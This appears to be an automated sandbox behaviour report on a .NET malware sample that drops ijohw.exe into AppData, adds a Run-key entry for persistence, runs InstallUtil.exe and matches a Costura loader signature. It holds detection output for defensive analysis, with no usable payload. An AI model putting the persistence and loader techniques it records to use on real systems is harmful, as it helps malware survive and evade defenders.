Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\Ref_336210627.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Ref_336210627.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Ref_336210627.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Ref_336210627.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Ref_336210627.exe, 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1790161541.0000000003708000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1811785668.0000000006740000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.00000000042B9000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002C74000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.00000000042FF000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.0000000003633000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Ref_336210627.exe, 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1790161541.0000000003708000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1811785668.0000000006740000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.00000000042B9000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002C74000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.00000000042FF000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.0000000003633000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.Ref_336210627.exe.6500000.11.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.Ref_336210627.exe.6500000.11.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.Ref_336210627.exe.6500000.11.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.Ref_336210627.exe.6500000.11.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.Ref_336210627.exe.6500000.11.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.Ref_336210627.exe.4c6e9d0.2.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.Ref_336210627.exe.4c6e9d0.2.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.Ref_336210627.exe.4c6e9d0.2.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.Ref_336210627.exe.4c6e9d0.2.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.Ref_336210627.exe.4c6e9d0.2.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.Ref_336210627.exe.6610000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.4b99f70.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.ijohw.exe.4b1a300.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.ijohw.exe.499d230.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.49dd210.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1790161541.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2115666335.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2034336187.000000000299F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ref_336210627.exe PID: 6036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ijohw.exe PID: 3120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ijohw.exe PID: 4168, type: MEMORYSTR

Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_064D2E9D push esp; retf	0_2_064D2EA8
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_06554594 push E8000001h; ret	0_2_06554599
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_065573DD push es; retf	0_2_065573E0
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_06581FB1 push es; ret	0_2_06581FC0
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066C5EB7 push es; ret	0_2_066C5ED4
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066C6211 push es; iretd	0_2_066C6224
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066C6362 push esp; retf	0_2_066C6369
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066C63B2 pushfd ; retf	0_2_066C63B9
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066C60C9 push es; retf	0_2_066C60F8
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066C6087 push es; retf	0_2_066C6094
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_066CB970 push es; ret	0_2_066CBA20
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 0_2_067383E4 push ecx; iretd	0_2_067383E5
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05CC4594 push E8000001h; ret	3_2_05CC4599
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DE7806 push esp; iretd	3_2_05DE7807
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05DE3B40 pushad ; ret	3_2_05DE3B49
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E363B3 pushfd ; retf	3_2_05E363B9
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E36363 push esp; retf	3_2_05E36369
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05E605F0 push 0000002Eh; iretd	3_2_05E605F4
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05EA83E4 push ecx; iretd	3_2_05EA83E5
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05EA2A83 push es; retf	3_2_05EA2A8A
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 3_2_05EA2A08 push es; retf	3_2_05EA2A0F
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_064B2EA7 push esp; retf	9_2_064B2EA8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_06534594 push E8000001h; ret	9_2_06534599
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065373DD push es; retf	9_2_065373E0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_06561FB1 push es; ret	9_2_06561FC0
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065FB555 push es; iretd	9_2_065FB570
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065F5DAC push es; iretd	9_2_065F5DB4
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065FA2D9 push es; ret	9_2_065FA2DC
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065F3B40 pushad ; ret	9_2_065F3B49
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_065F7806 push esp; iretd	9_2_065F7807
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 9_2_06611F77 push esi; ret	9_2_06611F7E

Source: 0.2.Ref_336210627.exe.6250000.10.raw.unpack, fo2MhyAtd3tcBNcyt74.cs	High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'DT7AOvjp6y', 'NtProtectVirtualMemory', 'BlimSuWrOpARhqUKet7', 'cJVqSwWDsmDX4ZtRuPK', 'shENFoWQSvGbOaUZ5kN', 'c5BtMlWW8YIca96SHmR'
Source: 0.2.Ref_336210627.exe.6250000.10.raw.unpack, z0yuTBAxoNgAbLgMYFW.cs	High entropy of concatenated method names: 'U0ZAD0emdC', 'SQHTnlWBmZfWkqa34kN', 'DK3IobWM9qdNuGO1GRN', 'LohloHWbccejRqV4Wuy', 'wl6q63WU6TiuEO099Bj', 'VfDeaNWwq7f6qSnbPd2', 'eoFX8AWifehBblLpgBs', 'ekveLhW4lNKqOpS4BlP'

Source: C:\Users\user\Desktop\Ref_336210627.exe

File created: C:\Users\user\AppData\Roaming\ijohw.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\Ref_336210627.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ijohw			Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ijohw			Jump to behavior

Source: C:\Users\user\Desktop\Ref_336210627.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
